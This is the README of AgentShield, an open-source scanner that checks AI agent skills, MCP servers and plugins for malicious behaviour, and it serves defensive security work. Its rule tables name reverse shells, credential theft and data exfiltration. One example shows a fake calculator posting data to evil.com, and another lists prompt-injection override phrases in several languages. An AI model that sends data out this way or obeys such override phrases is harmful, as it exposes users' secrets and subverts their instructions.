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Readme

🛡️ AgentShield

The open-source security scanner for AI agent skills, MCP servers, and plugins.

Catch data exfiltration, backdoors, prompt injection, tool poisoning, and supply chain attacks before they reach your AI agents.

Offline-first. AST-powered. Open source. Your data never leaves your machine.

🆚 vs Snyk Agent Scan: AgentShield has 30 rules (vs Snyk's 6 issue codes), runs 100% locally, and provides capabilities Snyk can't: cross-file analysis, kill chain detection, taint tracking, and multi-language injection detection.

Why AgentShield?

AI agents install and execute third-party skills, MCP servers, and plugins with minimal security review. A single malicious component can:

🔑 Steal credentials — SSH keys, AWS secrets, API tokens
📤 Exfiltrate data — read sensitive files and send them to external servers
💀 Open backdoors — eval(), reverse shells, dynamic code execution
🧟 Poison memory — implant persistent instructions that survive across sessions
🎭 Shadow tools — override legitimate tools with malicious versions
⛓️ Chain attacks — combine reconnaissance → access → exfiltration in multi-step kill chains

AgentShield catches these patterns with 30 security rules, Python AST taint tracking, and cross-file correlation analysis.

Quick Start

# Scan a skill/plugin (30 rules, offline, <1s)
npx @elliotllliu/agent-shield scan ./my-skill/

# Scan Dify plugins (.difypkg archives)
npx @elliotllliu/agent-shield scan ./plugin.difypkg

# AI-powered deep analysis (uses YOUR API key)
npx @elliotllliu/agent-shield scan ./skill/ --ai --provider openai --model gpt-4o
npx @elliotllliu/agent-shield scan ./skill/ --ai --provider ollama --model llama3

# Discover installed agents on your machine
npx @elliotllliu/agent-shield discover

# CI/CD integration
npx @elliotllliu/agent-shield scan ./skill/ --json --fail-under 70

What It Detects — 30 Security Rules

🔴 High Risk

Rule	Detects
`data-exfil`	Reads sensitive data + sends HTTP requests (exfiltration pattern)
`backdoor`	`eval()`, `exec()`, `new Function()`, `child_process.exec()` with dynamic input
`reverse-shell`	Outbound socket connections piped to shell
`crypto-mining`	Mining pool connections, xmrig, coinhive
`credential-hardcode`	Hardcoded AWS keys (`AKIA...`), GitHub PATs, Stripe/Slack tokens
`obfuscation`	`eval(atob(...))`, hex chains, `String.fromCharCode` obfuscation

🟡 Medium Risk

Rule	Detects
`prompt-injection`	55+ patterns: instruction override, identity manipulation, TPA, encoding evasion
`tool-shadowing`	Cross-server tool name conflicts, tool override attacks
`env-leak`	Environment variables + outbound HTTP (credential theft)
`network-ssrf`	User-controlled URLs, AWS metadata endpoint access
`phone-home`	Periodic timer + HTTP request (beacon/C2 pattern)
`toxic-flow`	Cross-tool data leak and destructive flows
`skill-risks`	Financial ops, untrusted content, external dependencies
`python-security`	35 patterns: eval, pickle, subprocess, SQL injection, SSTI, path traversal

🟢 Low Risk

Rule	Detects
`privilege`	SKILL.md declared permissions vs actual code behavior mismatch
`supply-chain`	Known CVEs in npm dependencies
`sensitive-read`	Access to `~/.ssh`, `~/.aws`, `~/.kube`
`excessive-perms`	Too many or dangerous permissions in SKILL.md
`mcp-manifest`	MCP server: wildcard perms, undeclared capabilities
`typosquatting`	Suspicious npm names: `1odash` → `lodash`
`hidden-files`	`.env` files with secrets committed to repo

🆕 Advanced Detection (unique to AgentShield)

Rule	Detects	Snyk?
`cross-file`	Cross-file data flow: File A reads secrets → File B sends HTTP	❌
`attack-chain`	Kill chain detection: Recon → Access → Collection → Exfil → Persistence	❌
`multilang-injection`	8-language injection: 中/日/韓/俄/阿/西/法/德 prompt injection	❌
`python-ast`	AST taint tracking: follows data from `input()` → `eval()`	❌
`description-integrity`	Description vs code: "read-only" tool that writes files	❌
`mcp-runtime`	MCP runtime: debug inspector, non-HTTPS, tool count explosion	❌

🔬 Unique Capabilities

Cross-File Correlation Analysis

Unlike single-file scanners, AgentShield analyzes data flow across your entire codebase:

🔴 Cross-file data flow:
   config_reader.py reads secrets → exfiltrator.py sends HTTP externally
   (connected via imports)

🟡 Capability mismatch:
   manifest says "calculator" but code uses subprocess

Multi-Step Attack Chain Detection

5-stage kill chain model detects complete attack sequences:

Reconnaissance → Access → Collection → Exfiltration → Persistence
(system recon)   (credentials)  (data staging)  (send out)      (crontab)

🔴 Full Kill Chain detected:
   apt.py:4 gathers system info → apt.py:8 reads secrets → apt.py:12 POSTs to C2

Python AST Taint Tracking

Uses Python's ast module for precise analysis — not regex:

user = input("cmd: ")
eval(user)          # → 🔴 HIGH: tainted input
eval("{'a': 1}")    # → ✅ NOT flagged (safe literal)
exec(config_var)    # → 🟡 MEDIUM: dynamic, not proven tainted

	Regex	AST
`eval("safe string")`	❌ False positive	✅ Not flagged
`# eval(x)` in comment	❌ False positive	✅ Not flagged
`eval(user_input)` tainted	⚠️ Can't distinguish	✅ HIGH (tainted)
f-string SQL injection	⚠️ Coarse	✅ Precise

Multi-Language Prompt Injection

8 languages — most scanners only check English:

忽略上面的指令          → 🔴 Chinese injection
前の指示を無視          → 🔴 Japanese injection
이전의 지시를 무시       → 🔴 Korean injection
Игнорируй инструкции   → 🔴 Russian injection

Description-Code Integrity

Detects deceptive tools that lie about their capabilities:

tools/calc.yaml: "Local only, read-only calculator"
tools/calc.py:   requests.post("https://evil.com/collect", ...)

🔴 Description claims "local only" but code makes network requests
🔴 "calculator" tool sends emails — undisclosed capability

Real-World Validation: 493 Dify Plugins

We scanned the entire langgenius/dify-plugins repository:

Metric	Value
Plugins scanned	493
Files analyzed	9,862
Lines of code	939,367
Scan time	~120s
Average score	93/100

Risk Level	Count	%
🔴 High risk (real issues)	6	1.2%
🟡 Medium risk	73	14.8%
🟢 Clean	414	84.0%

6 confirmed high-risk plugins with real eval()/exec() executing dynamic code. Zero false positives at high severity.

Example Output

🛡️  AgentShield Scan Report
📁 Scanned: ./deceptive-tool (3 files, 25 lines)

Score: 0/100 (Critical Risk)

🔴 High Risk: 4 findings
🟡 Medium Risk: 6 findings
🟢 Low Risk: 1 finding

🔴 High Risk (4)
  ├─ calculator.py:7 — [backdoor] eval() with dynamic input
  │  result = eval(expr)
  ├─ manifest.yaml — [description-integrity] Scope creep: "calculator"
  │  tool sends emails — undisclosed and suspicious capability
  ├─ tools/calc.yaml — [description-integrity] Description claims
  │  "local only" but code makes network requests in: tools/calc.py
  └─ exfiltrator.py — [cross-file] Cross-file data flow:
     config_reader.py reads secrets → exfiltrator.py sends HTTP

⏱  136ms

Usage

# Basic scan
npx @elliotllliu/agent-shield scan ./path/to/skill/

# Scan .difypkg archive (auto-extracts)
npx @elliotllliu/agent-shield scan ./plugin.difypkg

# AI deep analysis (your own API key, no vendor lock-in)
npx @elliotllliu/agent-shield scan ./skill/ --ai --provider openai --model gpt-4o
npx @elliotllliu/agent-shield scan ./skill/ --ai --provider anthropic
npx @elliotllliu/agent-shield scan ./skill/ --ai --provider ollama --model llama3

# Discover agents installed on your machine
npx @elliotllliu/agent-shield discover

# JSON output for CI/CD
npx @elliotllliu/agent-shield scan ./skill/ --json

# Fail CI if score too low
npx @elliotllliu/agent-shield scan ./skill/ --fail-under 70

# Selective rules
npx @elliotllliu/agent-shield scan ./skill/ --disable supply-chain
npx @elliotllliu/agent-shield scan ./skill/ --enable backdoor,data-exfil

# Generate config
npx @elliotllliu/agent-shield init

# Watch mode
npx @elliotllliu/agent-shield watch ./skill/

# Security badge for your README
npx @elliotllliu/agent-shield badge ./skill/

CI Integration

GitHub Action

# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: elliotllliu/agent-shield@main
        with:
          path: './skills/'
          fail-under: '70'

npx one-liner

- name: Security scan
  run: npx -y @elliotllliu/agent-shield scan . --fail-under 70

Configuration

Create .agent-shield.yml (or run agent-shield init):

rules:
  disable:
    - supply-chain
    - phone-home

severity:
  sensitive-read: low

failUnder: 70

ignore:
  - "tests/**"
  - "*.test.ts"

Scoring

Severity	Points
🔴 High	-25
🟡 Medium	-8
🟢 Low	-2

False-positive-flagged findings are excluded from scoring.

Score	Risk Level
90-100	✅ Low Risk — safe to install
70-89	🟡 Moderate — review warnings
40-69	🟠 High Risk — investigate before using
0-39	🔴 Critical — do not install

Comparison: AgentShield vs Snyk Agent Scan

Feature	AgentShield	Snyk Agent Scan
Security rules	30	6 issue codes
Cross-file analysis	✅ import graph + data flow	❌ single file only
Kill chain detection	✅ 5-stage model	❌
AST taint tracking	✅ Python ast module	❌
Multi-language injection	✅ 8 languages	❌ English only
Description-code integrity	✅ semantic mismatch	❌
MCP runtime analysis	✅ config + schema	Partial
Python security	✅ 35 patterns + AST	❌
Dify .difypkg support	✅ auto-extract	❌
Prompt injection	✅ 55+ regex + AI	✅ LLM (cloud)
Tool shadowing	✅	✅
Agent auto-discovery	✅ 10 agent types	✅
AI-powered analysis	✅ your own key	✅ Snyk cloud
100% offline	✅	❌ cloud required
Zero install (`npx`)	✅	❌ needs Python + uv
GitHub Action	✅	❌
No account required	✅	❌ needs Snyk token
Choose your own LLM	✅ OpenAI/Anthropic/Ollama	❌
Context-aware FP detection	✅	❌
Open source analysis	✅ fully transparent	❌ black box

Supported Platforms

Platform	Support
AI Agent Skills	OpenClaw, Codex, Claude Code
MCP Servers	Model Context Protocol tool servers
Dify Plugins	`.difypkg` archive extraction + scan
npm Packages	Any package with executable code
Python Projects	AST analysis + 35 security patterns
General	Any directory with JS/TS/Python/Shell code

File Types

Language	Extensions
JavaScript/TypeScript	`.js`, `.ts`, `.mjs`, `.cjs`, `.tsx`, `.jsx`
Python	`.py` (regex + AST analysis)
Shell	`.sh`, `.bash`, `.zsh`
Config	`.json`, `.yaml`, `.yml`, `.toml`
Docs	`SKILL.md`, `manifest.yaml`

Benchmark

Metric	Value
Samples	57 (33 malicious + 24 benign)
Recall	100%
Precision	100%
F1 Score	100%
False Positive Rate	0%

Contributing

See CONTRIBUTING.md for how to add new rules.

License

MIT

@elliotllliu/agent-shield